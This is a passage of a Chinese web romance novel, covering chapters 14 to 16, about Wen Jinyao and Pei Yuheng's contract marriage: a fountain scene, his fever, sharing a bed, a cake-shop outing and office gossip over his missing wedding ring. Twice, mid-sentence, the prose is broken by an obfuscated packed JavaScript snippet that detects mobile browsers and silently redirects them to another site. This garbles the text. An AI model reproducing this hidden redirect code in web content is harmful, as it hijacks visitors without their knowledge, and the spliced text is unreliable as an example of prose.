“是啊,我恨你。我不知道我到底是恨你拒绝我,还是恨你像一面镜子一样,无时无刻不在照见我的丑陋。”裴聿珩的声音听起来依然古井无波:“我承认,我利用了你。温今遥,那你呢?” 温今遥猛地抬起头。 他垂着眼帘,盯着她紧紧咬着的下唇:“你又为什么要答应跟我结婚?” “你还要装不了解我吗?如果只是为了那三百万,你明知道如果你开口求我,我不可能拒绝你,但是你没有。” “你仔细想过吗,为什么?”裴聿珩抬起她的下巴,逼她跟自己对视:“你敢说你没有想过今天,敢说你不想这样畅快地反戈一击?” “你不到十岁我就认识你,你是什么样的人,我会不清楚?” “今遥,承认吧,我们才是同一条船上的共犯。” 温今遥震颤的眸光落在他眼里,像两颗颤抖的星星。 她无话可说。 在她自己都没有感觉到的阴暗的意识海里,这个念头似乎已经翻涌了很久,以至于今天对易湘的那些话,她甚至没有仔细斟酌,它们就像不可阻挡的洪流一般奔涌而出。 是,她想过,在她得知裴家不知道用了什么手段,把温全变成了“财政供养人”,所以她连申请助学贷款都没资格的时候,在她孤立无援、一分钱恨不得掰成两半花的每一天,她都把这个念头在心里狠狠咀嚼,偶尔从这样的梦里醒来,甚至痛恨自己的出生。 她以为这些都过去了,这不过都是她在难捱时候的妄想。回到北城之后,她既没有去找裴家,也没有去招惹裴聿珩,她只想好好过自己的小日子,仅此而已。 但他竟全都知道。 不但知道,他还若无其事地把她养在身边,让她的目的成为自己彻底摆脱家族钳制的养分,自此,裴崇和易湘应该知道,他们再也无法控制他。 裴聿珩轻声叹息:“你不信恨意里面也有不舍,利用里面也有真心,是吗?” 温今遥恍惚地望着他,说不出答案。 “我问你,你想做的事,想达到的目的,还有你想都没想过的利益,我有没有给你?” 他这样提问时,并不咄咄逼人,反而把她的手一并放进自己温暖的口袋里,循循善诱地看着她。 温今遥卡住的思绪不由沿着他给指的路往下走:顶级的吃穿用度,他给了;因为裴聿珩才又落到她手里的项目,她接了;她不愿公开身份的要求,裴聿珩答应了;婚前协议,她没签。 几年的仇,今天也因为他,一并报了。 该有的好处一点都没少,该付出的代价却没有半分落在她身上。 如果只是为了利用她,这价码未免太高。 温今遥恍惚地想,我值这么多钱吗,还是真的像他说的,利用背后,也有真心呢? 挣扎的猎物一旦露出迷茫的神情,就是捕猎者一击必中的最好时机。裴聿珩盯着她的眼睛,手在口袋里握紧了她的:“这件事,今天就算是完全过去了。你不要纠结我的目的,我也不追究你说过的话。我向你保证,没有下一次。原谅我,可以吗?” 温今遥胸腔颤抖,实在拿不准自己应该摆出什么表情,来应对他这句“可以吗”。 哪有这样的……明明都在恨对方,明明都对过去无法释怀,还非要绑在一起过日子,同张桌吃饭同间房睡觉,何必呢? 可她又想起今天在裴家老宅,裴聿珩额角流着血,却还是安抚地对她笑,想起他用从没有过的冷言说“开门”,想到他顶着父亲的威压,云淡风轻地哄她:“法律都认你,还有谁能不认你?” 恨又怎么了,她想,即便是恨,他也愿意保护我。 温今遥抬头,对他扬起一个极天真的笑,在他温暖的口袋里忽然反手握住他的手腕,手臂猛地往回一扯,裴聿珩躲闪不及,向前两步,擦着她的身侧,毫无停顿地摔进了深冬的喷水池里。 水池不深,但突然的跌入让他浑身都在冷水里泡了个遍。 滴水成冰的夜里,裴聿珩满身淋漓地坐在水池里,竟也不显得狼狈,反而在霜冻的冷风里笑得月朗风清:“解气了?” “不,是灭口失败了。”温今遥踩在水池台阶上,抬着下巴睥睨他:“可以,今天的事一笔勾销,但是我提醒你裴聿珩,现在我们是合法夫妻,恨我,你也得捏着鼻子跟我过日子。” 裴聿珩浑身湿漉漉的,倒对这威胁接受良好,依旧笑着:“好,那我尽量恨得不那么明显。” …… 或许终于了却了心愿,狠狠跟易湘吵了一通,那天晚上,温今遥做了一个很好的梦。 梦里是她窘迫的大学时代,最穷的时候,她一天三顿吃最便宜的杂菜饼,又干又咸,她转身去拿食堂的水壶想泡饼吃,却见裴聿珩站在她身后,提着一盒精美的小蛋糕冲她笑:“今遥,来吃蛋糕。” 他不是当年无力保护她的那个年轻人,而是现在沉稳可靠的模样,就好像他走过七年光阴,就为了把现在有的一切送给那时候的她。 她的梦不再是灰蒙蒙的底色,它开始有鲜亮的颜色,有温暖的阳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634208|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她竟然还在梦里尝到了蛋糕的味道。 直到醒来,她还在迷迷糊糊地咂嘴,那种嫩滑香甜的味道似乎还留在舌尖。 温今遥醒了就睡不着,看了眼手机,凌晨四点。 她准备去喝口水,回来重新睡,出门却发现隔壁卧室的夜灯还亮着。 温今遥犹豫了一瞬,也说不上是什么心态,脚尖方向一转,冲着主卧走去。 她轻轻按下微凉的门把,小心翼翼推开门,见裴聿珩好好地睡在床上,呼吸有些重,松软冬被曲线起伏,很是动荡。 看来是忘记关灯了。 她悄然走过去,把小夜灯关上,房间里却还是一片大亮。 朝南的落地窗没有拉窗帘,就那么大喇喇地敞着,CBD中心擎天耸立的摩天大楼二十四小时无歇,从来没有关灯的时候,人造月光把主卧照得亮堂。 温今遥轻轻笑,商场上叱咤风云的裴总,睡觉怎么连窗帘都忘记拉。 她绕到窗前,仔细一看,却发现主卧根本没有窗帘。 “你在干什么?” 裴聿珩低哑的声音在她身后响起,吓得她惊叫着后退一步,后背紧紧贴在玻璃上,看上去摇摇欲坠。 他轻咳一声,慢慢坐起来:“吓到你了……怎么不睡觉?” 温今遥不答,反而问他:“你房间为什么没有窗帘?不觉得不安全?” 裴聿珩捏着眼角轻笑:“谁能看到?无人机吗?” 他声音听起来有种不正常的沙哑,透着点平日里不会有的懒倦。温今遥靠近了,双手撑在床上,一条腿跪上去,凑近看他的脸:“你怎么了?” 裴聿珩棱角分明的侧脸被窗外灯光点亮,垂着眼睛看她,灼热气息洒在她侧脸:“有点热。” 温今遥探手去摸他的额头,一触只觉滚烫:“呀,你发烧了!” 裴聿珩笑:“这种天气被某个调皮的小朋友推下水,不发烧也难。” 温今遥当了一整天恶人,那点珍贵的良心终于在凌晨苏醒:“你想喝水吗?还是……吃点药?” “不想,”裴聿珩偏头注视她:“想你陪我坐一下。” 刚刚还只是嘶哑,现在醒了一会儿,鼻音也起来了。温今遥听着怪可怜的,索性爬上床,坐在他身边:“你躺着,盖好被子发发汗,明天就会好的。” 裴聿珩很听话地躺进被子里,又往她那边靠了靠,问:“你一个人生病的时候,就是这样熬的吗?” 温今遥感觉到他的温度在靠近,大腿处感觉酥酥麻麻的,又不好躲开,只能转移注意力道:“也算不上什么熬,谁发烧不是这样……” 她忽然想起,裴聿珩小时候也有过一次这样的高烧,她帮他带作业回去,见他双颊酡红,紧闭着双眼,丁姨就这样坐在他身边,一下一下摸着他的头发。 温今遥看了看躺在自己身边的男人,忽然不知道手该往哪里放。 裴聿珩似乎感觉到她的僵直,抬起眼睛问:“怎么了?” 温今遥感觉自己的脸烧得比他还烫:“你……你想让我摸摸你吗?” 裴聿珩:“……什么?” “就、就是你小时候生病了,我看丁姨,她都,”温今遥咽了咽口水,做了个呼噜毛的动作:“这样的。” 裴聿珩低低笑了:“上次是谁呢,我摸摸头意见很大,说什么‘我已经不是小孩了。’” 温今遥心虚得很:“不要就算了!” 她起身就准备跑,结果一时不察,手腕被一只烫人的手扣住,轻轻往后一拉,她就跌进了一个燎人的怀抱。 他身上清冷洁净的气息被体温烘暖了,像午后山中温暖的太阳。 温今遥在外面空气里待得久了,身上微微泛凉,这时候被他灼热的体温烤得暖和过来,只觉得舒服,一时竟忘了挣扎。 裴聿珩下巴抵在她的发顶,说话时胸腔的震动就响在她耳边:“别走,陪我一下。”顿了顿,似乎艰难道:“我……不是很舒服。” 温今遥被他困在怀里动弹不得,脸热得简直要熟透,高低是没那个胆子抬头看他,索性把脸埋进被子里:“我的错,这次饶了你。” “嗯,”裴聿珩忍着笑,抱紧了怀里冰凉柔软的人:“算我欠你一次人情。” 14. 第 14 章 在他怀里的后半夜,温今遥竟然睡得很好。 冬日的北城天亮得很晚,但在一间完全没有遮光的卧室,她还是不可避免地被阳光刺醒。 睁开眼时一阵不知身在何处的恍惚,身体先于意识感觉到,她被人松松地圈在怀里,既不觉得束缚,又抵消了被窝之外的寒意。 懵懂了一瞬,温今遥忽然想起,她昨天睡在裴聿珩的床上! 心脏几乎瞬间应激,人还没清醒,耳尖就先一步被染了个通红。她动作小心地准备翻身下床,刚往外挪动了一分,身边人忽然动了动。 温今遥抑制不住好奇,转头去看他,发现即使天光大亮他依然睡得安然。他似乎正在一个舒缓的梦中,眉目舒展,日常略显冷硬的脸部线条都显得柔润。 她一边用目光描摹他的眉眼,一边想,这么多年了,他怎么还是这么好看。 从温今遥认识他的那天起,他就是所有人夸赞的对象。长得好看,性格安静,念书好又有礼貌,待人接物都温和有礼,而她却像是跟在他身后的一只灰扑扑的小鸭子,淘得整天上房揭瓦,跟裴聿珩站在一起,简直一个天上一个地下。 但现在,这样两个人睡在同一张床上,甚至还是领了证的合法夫妻。 温今遥原本对“同床共枕”这件事很是羞耻,一直用“他生病了让让他”来催眠自己,现在一想,对啊,我们是合法夫妻,睡一张床怎么了,合法夫妻还要…… 又把自己弄得脸红起来。 怎么在这人身边就变得如此心猿意马! 温今遥受不了自己,想趁裴聿珩醒来之前赶紧离开现场,这样不至于太尴尬,结果刚动了动腿,就感觉到…… 嗯…… 触感还挺…… 温今遥顾不上他正睡着,挣开他的手蓦地从床上弹起来,抬脚就准备跑。 刚刚还睡得安稳的裴聿珩动作没变,却弯着唇角轻轻笑起来。 这家伙早就醒了!在装睡! 温今遥恼羞成怒,拿枕头砸他:“臭流氓!” 裴聿珩笑着睁开眼,慢慢坐起来:“正常的生理反应,为什么骂我?” 温今遥被他的理所应当震惊了:“你怎么一点都不知道羞的!” 裴聿珩架起手臂,支着侧枕,饶有兴味地看她:“我们是合法夫妻,这不是很正常的事?” 温今遥捂着耳朵叫起来:“不听不听啊啊啊啊!” 这么尴尬的场景!他还这么坦然! 这家伙是不是故意的! 裴聿珩笑着把她的手从耳边摘下来,握在手里摩挲:“昨晚睡得好吗?” 温今遥真的仔细回想了片刻:“睡得很好,就是……” “就是什么?” “就是睡到中间的时候,我好像听到浴室里有水声,和……一种奇怪的声音,你有听到吗?” 裴聿珩:“……” 他当然知道那是什么声音。 也就只有温今遥,才能在那种情况下睡得那么快那么踏实,而他,梦寐以求的温香软玉在怀,要是还能合眼,他就真不是男人了。 但他又没办法,温今遥才刚刚接受结婚这个事实,总不能这时候就硬来,到时候再吓到她,可烈火难忍,两相权衡,他只能等她睡熟了,悄悄下床,去浴室自行解决。 他已经极尽克制,没想到还是被她听到了动静。 “我没有听到,”他摸了摸温今遥的头发,完美掩饰了真相:“可能是你做梦了。” 温今遥偏头想了一会儿,又想起昨晚那个梦来,舔了舔嘴唇:“裴聿珩,你想吃蛋糕吗?” …… 自从开始拿工资,手上有点闲钱之后,温今遥想吃的东西,从来没有等到第二天的道理。 她带裴聿珩去了一家自己最喜欢的甜品店,蛋糕做得又漂亮又好吃,环境也好位置也好,唯一的缺点就是贵,温今遥这么喜欢,也只能隔段时间去一次。 温今遥拉着裴聿珩去点单,对着琳琅满目的橱窗举棋不定,裴聿珩在她身边,不去看那些蛋糕,视线反而一直锁在她身上。 她犹豫许久都没法下决定,因为都想吃,但吃不下,非得从里面挑出一个最好的来。 后面排队的人越来越多,温今遥肉眼可见地焦虑起来,裴聿珩轻声道:“想吃就都买,没关系的。” 温今遥嘟囔:“就是觉得很浪费……” 裴聿珩对店长道:“除了几种慕斯,其余各样一份。”又安慰温今遥:“我可以帮你一起消灭。” 温今遥疑惑地问:“你怎么知道我不爱吃慕斯?” “因为只有慕斯你没有盯着看。” 温今遥愣了愣:“难怪裴总年轻有为,厉害!” 店长把蛋糕们挤挤挨挨放进托盘里,对温今遥笑道:“你老板很细心诶。” 温今遥注意力还在蛋糕上,下意识应了:“可不是。” 裴聿珩还是温煦地笑着,不动声色揽住她的肩膀。 店主愣了一瞬,立刻低下头,想装作没看见这见不得人的办公室潜规则。 温今遥这才回过神,偏头主动对店主补上解释:“他不是我老板,他、他是我老公。” 业务还不太熟练,出口还是结巴。 店主微窘,腹诽着把老公叫裴总你们俩还真是有情趣我也是你们play的一环吗,面上笑道:“啊,我就说呢,他对你真好。” 裴聿珩接过沉甸甸的托盘,对店主道了谢,得寸进尺地架起胳膊,低头望着温今遥。 话都说出口了,温今遥只能伸手挽起他,去找座位。 或许是她的错觉,她总觉得裴聿珩脚步似乎轻快了些,一扫今天早晨还残留的一点病气,连眼睛都亮了。 原来他也喜欢吃蛋糕哇,温今遥抿着唇想,早知道早点带他来了。 两人找了座位坐下,温今遥把托盘往裴聿珩面前一推:“喏,你先挑。” 裴聿珩:“我不怎么吃甜食,你挑就好。” 温今遥:? 推理失败? “那你这么高兴干什么,我还以为……” “高兴是因为你给了我一个名分,”裴聿珩帮她拆开一块蛋糕的玻璃纸:“这不该开心吗?” 温今遥哭笑不得:“一个称呼而已……” 裴聿珩温言道:“我更希望做你的丈夫,而不是会带年轻女下属来蛋糕店装慷慨的老板。” 吃着蛋糕的温今遥大脑频带被甜食占据了一大半,竟然认同地想,对啊,哪怕真是来偷情的,好像也应该叫老公会比较安全。 她咬了一口奶油,含糊道:“你说得有道理。” 这时候,忽然有一声相机快门的咔嚓声传进温今遥的耳朵,她下意识回头去看,见隔壁桌两个漂漂亮亮的女孩子,正对着他们窃窃私语。 准确地说,是对着裴聿珩。 他显然也听到了动静,偏头扫了一眼两个姑娘,那边立刻低下头安静下来,不敢再拍。 温今遥奇怪:“你怕人看?” 裴聿珩看了她半晌,慢慢道:“跟你坐在一起,不想让你被打扰。” “我无所谓啊,”温今遥倒很大方:“这不是说明你有魅力吗,好像明星一样,不给人拍,浪费咱们这张脸了。” 裴聿珩垂下眼睛,又拆了一块芝士蛋糕给她:“嗯。” 从声音到表情,都是淡淡的,远没有刚才的快意。 他拿起叉子,在温今遥咬过的地方轻轻剜下一块,准备放进口中,手腕却被温今遥拉住。 她脸色有些古怪:“我去要个餐刀,切一下你再吃好了。” 连她爸都不愿意吃她的剩饭,更别说裴聿珩只是她的…… 室友……吗? 裴聿珩却换了一只手,把蛋糕直直送进嘴里:“不用,我觉得挺好。” “挺好什么,”温今遥撇开视线不看他:“吃剩的东西难道很开心?” 裴聿珩笑着看她纤长的睫毛和线条柔和的侧脸:“嗯,很开心。” 温今遥被他看得不自在:“我怎么觉得你这个人,你这个人有点病病的!” “那怎么办,”他弯着眼睛,又从她咬过小月牙里挖了一口:“嫁狗 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夜灯确实是裴聿珩忘记关了,昨晚落水之后回到家,洗了澡上床翻了两页书,头就昏沉起来,想着稍微躺一下,就睡了过去。 可他盯了她两秒:“嗯。” 温今遥笑得毫无同情心:“名声在外的裴总竟然怕黑!哈哈哈哈!这八卦不知道能卖多少钱!” 裴聿珩也跟着弯了弯唇角:“你开价多少?” 温今遥拿腔拿调地:“怎么,你要从我这里买断吗?” 他目光灼然:“可以吗?” 他望着她的时候总是很专注,瞳仁又尤其黑,黑白分明的眼睛一旦舒展地盯着什么,就容易显得深情。 温今遥恍惚了一秒,很快挣脱了这种错觉,低头小声道:“我很贵的。” “这点钱我倒还出得起,”裴聿珩笑着开了瓶水放到她面前:“夫人可以试试。” …… 当天晚上,温今遥站在自己卧室门口,陷入犹豫。 下午在蛋糕店,裴聿珩说起自己怕黑,让她稍微上了心。 在外面那样声名显赫的男人,在她面前如此诚恳大方地承认自己怕黑,应该也需要很大勇气吧? 虽然他们结婚没几天呢,但他的细心照顾都清晰可见,那她是不是也该表示表示…… 对啊,而且婚都结了,哪有领了证还分房睡的道理,又不是分居了,多不吉利。 而且他的床好像真的比较好睡诶! 她深吸一口气,抱着自己的枕头跑到主卧门口。 主卧的门并没有关,裴聿珩穿着一身贴身的缎面家居服,坐在床上看书,听到动静便抬眸看过来:“怎么了?还没睡么?” “啊,”温今遥抱紧了枕头:“裴聿珩,我可以……跟你一起睡主卧吗?” 裴聿珩怔愣了一瞬,放下手里的书向她走过来:“什么?” 她抬起头,在夜灯昏暗不明的光里望着他的眼睛:“我想跟你一起睡,这样你就可以关灯了,会睡得更好,可以吗?” 裴聿珩目光中翻涌着他自己都不曾察觉的不可置信:“我这里没有窗帘,你确定吗?” 温今遥狡黠一笑,从口袋里掏出一个眼罩,冲着他炫耀似地抖了抖:“你看,我自带装备,唔——” 她话没说完,就被一双颤抖着的唇堵死了后半句。 她的肩膀被轻柔地环住,贴上来的嘴唇也是小心翼翼的,又战栗,又绵长,在拼命克制着什么,像是生怕弄疼了她。 温今遥整个人被他身上的冷冽气息所包裹,在这样谨慎又失控的吻里,渐渐失去了呼吸。 大脑在缺氧中不可抑制地跳频,温今遥迷迷糊糊地想,只是睡一张床而已,他怎么感动成这个样子? 她的丈夫,原来是一个很容易取悦的人。 “今遥?” “嗯……嗯?” “接吻时可以呼吸。” “……” 15. 第 15 章 第二天,温今遥依然在裴聿珩的怀里醒来。 她睡觉并不老实,把被子踢下床都是基本操作,这两个晚上跟他睡在一起,醒来的时候被子竟然好好盖在身上,睡眠质量不可谓不高。 她稍一动,裴聿珩就醒了,仍闭着眼,下巴轻轻蹭了蹭她的发顶:“早。” 温今遥迷迷糊糊答应一声,忽然“噌”一下坐起来:“几点了!闹钟呢,闹钟怎么没响!” 被一个头锤撞上下巴的裴聿珩:“……” 他揉着下巴坐起来:“响得很早,帮你按掉了。” “啊啊啊啊我的全勤!”温今遥一把扯掉眼罩,对他怒目而视:“谁让你关的!” 裴聿珩支着脑袋看她发飙,觉得可爱得很:“是不是忘了这是哪里?” 温今遥一愣。 哦,这是CBD,离公司只有五分钟路程。 她不用像原来一样提前两个半小时起床,奔奔忙忙一个清晨,最后连早饭都得在路上边走边吃。 现在她可以一觉睡到七点半,消消停停地化了妆吃好饭,散步一样走去上班。 这幸福感对于社畜来说,简直是绝杀。 温今遥一秒狗腿起来,伸手替他揉下巴:“嘿嘿,撞疼了吧?” “嗯,疼,”裴聿珩故意道:“上不了班了。” 温今遥大笑着一把掀了被子:“那可不行,我们威禾还指着裴总吃饭呢!” 裴聿珩穿着家居服,但上衣扣子不知什么时候被蹭开了,眼下正大敞着,隐约露出里面曲线起伏的肌肉线条,白得晃人眼,似是一个不甚明显的邀约。 他也不系,好整以暇地慢慢坐起来,角度一变,缎面家居服顺着他的动作往下滑了半寸,雕刻般清晰的线条在晨光下显得力量感十足,春光更甚。 温今遥盯着那里愣了两秒,手忙脚乱拿被子给他捂起来:“你干什么!” 裴聿珩怪委屈的:“你掀了我的被子,现在又来质问我?” 温今遥用尽全力才克制住自己吞口水的动作,厉声道:“又耍流氓!你是不是故意的!” “今遥,”裴聿珩哭笑不得:“你不讲理。” “不跟你玩了我要去上班了……”温今遥强迫自己不去看他:“你你你你把衣服穿好,不要搞得像我怎么你了似的!” 温今遥冲去洗漱,水龙头的水哗哗地流,也不知道在洗什么,能洗那么长时间。 裴聿珩慢条斯理地扣好衣服,轻轻“啧”了一声。 威禾就没有不用打卡坐班的岗位么,他莫名地想。 不知道于放有没有被收购的意愿。 …… 等温今遥终于用凉水把自己的脸热压下去,终于舍得从洗手间出来,她忽然闻到一股熟悉的香味。 她顺着味道跑去饭厅一看,桌上摆着一杯热牛奶,还有她极为熟悉的灌饼。 六块钱的灌饼被放在骨瓷碟中,让她有种奇异的荒谬感,就跟她本人住在这样一间寸土寸金的公寓里一样格格不入。 愣神的空档,裴聿珩换好衣服出来,一身深灰色西装笔挺修身,衬得男人肩宽腿长,气质凌冽,那双沉黑深邃的眼睛里现下看不到一丝迫人的气质,反而显得温润沉和。 见她对着灌饼发呆,裴聿珩走过去道:“是你吃惯的那家。” 温今遥问:“你怎么知道我喜欢哪一家?你在威禾也有线人啊?” 裴聿珩失笑:“什么线人,是吴桓等你的时候闲聊问到的。”既然说到这个,他便自然而然追问下去:“那边房子可以退了,想什么时候把剩下东西搬过来,我安排。” 温今遥没有第一时间回答,而是低头小狗似地闻了闻灌饼,又咬了一口,含含糊糊道:“租期还几个月呢,急什么。” 裴聿珩微微眯了眯眼:“好。” 他看得出,她不愿意彻底搬过来,或许是没有把这里当成家,又或许是还不完全信任他。 以前动荡不安的日子到底在她身上留下了不可磨灭的痕迹。 不过这都没关系,钓大鱼都得放长线,何况是人。 他可以等。 …… 因为裴聿珩一句话,温今遥直到上班,都还心事重重。 CBD的顶奢公寓当然好,但那是她的家吗? 昨天之前,她会毫不犹豫地回答,什么家不家的,那不就是个片场吗,两个人对着演戏,等哪天裴聿珩一个不高兴把她赶出去,那地方跟她哪还有半毛钱的关系? 他前两天还承认他恨她呢! 而且……当时温今遥之所以能当场跟秦杨那厮提分手,之所以有一碗花甲粉扣在他头上的底气,就是因为她哪怕跟秦杨住在一起,也一直花钱租着自己的小单间,即使不住,在偌大的北城也总有一个可以后撤离的去处。 但是现在,她好像有了一丝丝动摇。 她觉得她跟裴聿珩之间,不再是多年不见又重逢的故人而已,这些天的相处,她总觉得她早就不抱希望的追爱之心在他的照顾之下慢慢苏醒。 但是一同苏醒的,还有她从十岁开始,就对他保守的一个秘密。 如果不是因为这个秘密,她也许早就喜欢上裴聿珩了,哪里需要克制愧疚这么多年,对那样出类拔萃的天之骄子,怎么会相处这么久还不动心? 又不是戒过毒。 就这么心烦意乱地挨了一上午,午饭时间,她打开裴聿珩给她准备好的食盒,周围立刻围了一圈饿狼。 “今遥你是不是被夺舍了?这么香!” “你带的什么啊给我尝一口!用我点的四喜丸子换行不行!” “哇你这是专业水平啊,跟外卖比岂不是国家队打幼儿园?” 不怪他们大惊小怪,实在是裴聿珩家的阿姨水平感天动地:这么一个小小的食盒竟也盛得下三菜一汤,牛肉西芹滑嫩入味,芹菜吸饱了肉汤,香脆可口,配上色泽鲜亮的彩椒时蔬,大颗粉嫩的虾仁躺在蒜香黑松露中间,还有空间点缀几朵开了花的圣女果,底层的浓汤石斑鱼金光澄澈,看着就让人食指大动。 ……这些东西有条不紊地码在她的饭盒里,温今遥有一种牛嚼牡丹的感觉。 她忽然生出一种奇怪的占有欲来:“不给!我的!” 好在另一条爆炸性八卦彻底夺走了整个办公室的注意力。 “我靠这什么鬼!裴聿珩结婚了?” 本来围在温今遥身边的同事们瞬间转移阵地,围去了一本财经八卦的周围,留温今遥一个人在座位上呆若木鸡。 “什么时候的事啊,上次他突然出现,好像也没提这茬吧?” “你哪位啊人家总裁结婚要跟你汇报?” “啧……也是,不是,我的意思怎么没有一点风声,说了吗,跟谁结的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634210|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温今遥背对着他们,一身鸡皮疙瘩。 “说是跟青梅竹马……联姻吗?也没听说哪家跟鸿禧走得近啊?” “啊啊啊好羡慕啊他又帅又年轻咱们又少了个钻石王老五呜呜呜呜呜。” “谁说不是……到底是哪个女人这么好命啊,这不直接飞升了。” “现在排队还来得及吗,下辈子让我投胎成裴聿珩的老婆吧求求了!” 温今遥背对着他们,汗流浃背,一声也不敢出,生怕她的微表情暴露什么不得了的事实。 这时候樊炜吃了饭,腆着肚皮溜达过来,扫了一眼专访的照片:“羡慕什么,真有老婆也就是个幌子。” 温今遥浑身一僵,悄咪咪地竖起耳朵。 众人齐齐抬头:“怎么是幌子了?” 樊炜撇嘴:“出来采访婚戒都不戴,他要真的在意老婆,能这样吗?” 温今遥嘴比脑子还快,一下没管住:“结了婚就必须戴婚戒吗?” 樊炜瞥她一眼:“你啊,还是不懂男人,不戴婚戒是什么意思知不知道?MBA,marriedbutavailable.” 温今遥:…… 很好,裴聿珩一句话毁了她一个上午,樊炜一句话又毁了她一个下午。 卷王温今遥半瘫在椅子上,对着显示器里的半成品PPT,一点动手的心思都没有。 那演电视剧还得入戏呢,就算是契约婚姻,是不是也得装个一年半载的? 再说了,劝她搬家的时候是谁啊信誓旦旦的,“我们不是形婚”这几个字不是他亲口说的吗! 就算她没地位好了,没地位难道就不要面子了! 哼,大猪蹄子,还退租呢,退个屁。 手里的石斑鱼都不香了! 这边她还没气明白,李玉忽然一个电话打过来,叫她立刻去办公室一趟。 对嘛,温今遥想,与其为一个男人心烦意乱,还不如好好工作,只有拿到手的工资不会背叛自己。 她拿着小本本踏进总监办公室,一脸的求知若渴:“李总监,你找我?” 李玉开门见山:“你跟裴聿珩,真的没有别的关系?” 一句话给温今遥问懵了,短短几秒钟,她已经起草好了辞职信的三个版本。 “啊,”她按下心虚,平静道:“没有啊,就,就上次……” 李玉看上去挺失落:“哦,我还想说你要跟他有私交,就帮忙去打听打听他太太喜欢什么。我们拿了鸿禧这么大一个项目,关系总得做足,新婚礼物不能少了。” 温今遥:“……” 今天这茬就过不去了是吗? 但总监问话,她总不能不回,于是闭着眼睛胡说八道:“总裁夫人可能……想要升职加薪和年终奖吧。” 李玉失笑:“你以为人家跟你似的胸无大志?东宫娘娘烙大饼是吧?也是,你要是知道,你也当总裁夫人去了。” 温今遥木着一张脸:“总监说得对。” “行了,”李玉疲惫地挥挥手:“工作去吧。” 温今遥磨磨蹭蹭回到工位,问中午八卦中心的那位同事:“中午那本杂志呢?借我一天,我回家看看。” 同事莫名:“就那么一页是八卦,你拿回家干什么,在这看完呗。” “不,”温今遥异常坚决:“我要拿它辟邪。” 16. 第 16 章 温今遥气闷地回到家,没等她想清楚怎么套裴聿珩的话,就先一步收到他的微信,说晚上要应酬,可能会很晚,让她先睡。 她咬牙切齿把手机扔到一边:呵呵,应酬。 你最好是! 她从包里掏出那本硬是从同事手里抢来的杂志,翻到八卦的那一页。 照片上的裴聿珩正跟记者对话,神态冷峻又矜贵,眼神淡然地落在对面记者的脸上,淡得像是根本不在意对面是谁。 摄影师按下快门时,他正抬手整理袖口,骨节分明的左手微微蜷着,修长无名指无束缚地出现在镜头里,毫无遮掩。 温今遥越看越气,她仔仔细细把杂志摊在饭桌上,想了想,又换了个角度,把照片的那一边放在吊灯明亮灯光下面。 今天就让你罪恶的心思在光里好好晒晒! 万事俱备,只欠嫌疑人了。 温今遥看着自己布置的审问现场,心满意足瘫在沙发上,别来无事,竟迷迷糊糊睡着了。 她睡觉向来不算沉,窝在沙发上却睡得踏实,连门锁响动都没听见。 在睡梦中,温今遥感觉身体一轻,艰难睁开眼,朦胧间看到一个清隽熟稔的少年,正眉眼温柔地低头看她。 温今遥在时空混乱中又阖上眼:“聿珩哥哥……” 托在她后背的手臂猛地一滞,贴着她侧脸的胸膛中沉缓的心跳甚至也停顿了一瞬,而后耳边响起一声粗重又克制的叹息,紧接着,一个比落花还要轻的吻,便小心翼翼地落在她眉心,轻得如同春日傍晚抚过她发间的风。 温今遥瞬间清醒了,她蓦地睁开眼,发现裴聿珩那张俊秀的脸离她极近,却不是她梦里那个青涩的模样。 他的眼神太专注,跟杂志上漫不经心的表情大相径庭,温今遥恍惚了有两三秒,没睡醒似地想,他这样看我,该不会是真的喜欢我吧? 但也就是一瞬间,她很快醒过神来,跳下他的怀抱,迅速理了理头发:“什么时候回来的,我怎么没听见?” 裴聿珩笑言:“我也想问,睡这么熟,家里被人偷光了,你可能都还没醒。” 温今遥仔细观察他的脸,发现他一点心虚都没有,好像刚刚偷偷亲她但败露的人根本不是他。 她清了清嗓子,眼神故意飘去看餐桌上的杂志。裴聿珩顺着她的目光看去,见是合作金融周刊的报道,便道:“今天一整天都在应付来祝贺的人,这篇怎么了吗,有什么问题?” 见他丝毫没有觉得不对,温今遥竟觉得委屈:“现在全世界都知道你结婚了。” “嗯。” “全世界都知道你结婚就是走个形式,不爱你老婆。” 裴聿珩拧起眉:“什么?” 温今遥拿起杂志,把照片怼到他面前:“谁家总裁结婚半个月就不戴婚戒了!” 裴聿珩眯起眼睛,视线终于对焦到极速在他眼前放大的照片上。 温今遥的手指点在照片中他空荡荡的左手上,咬着下唇,委屈得紧。 “我知道咱们结婚就是走个形式,但形式也得有规矩吧。”她早被办公室里各式各样的猜测和说法搅乱了心,憋了一下午,终于发起脾气来:“你这个样子,别人都看出来是假的了,我们干嘛还要在这演呢!” 裴聿珩眉头一挑,总算明白了她的重点。 他神色瞬间淡了,刚才偷吻落花的深情荡然无存:“既然是形式,有没有规矩又有什么要紧?” “裴总,容我提醒,”温今遥较起真来实力不容小觑:“你跟我结婚,是要对外经营顾家可靠的形象,而不是像现在这样,就差明明白白告诉别人,‘我结婚只是幌子,你们有什么花活儿,都可以来找我。’” 裴聿珩目光流连在她气得紧抿的唇角,语气依然浅淡:“那是我的事,是鸿禧的事,给你的待遇不会因为这个而减少一分一毫,你现在这样质问我,又是为了什么?” 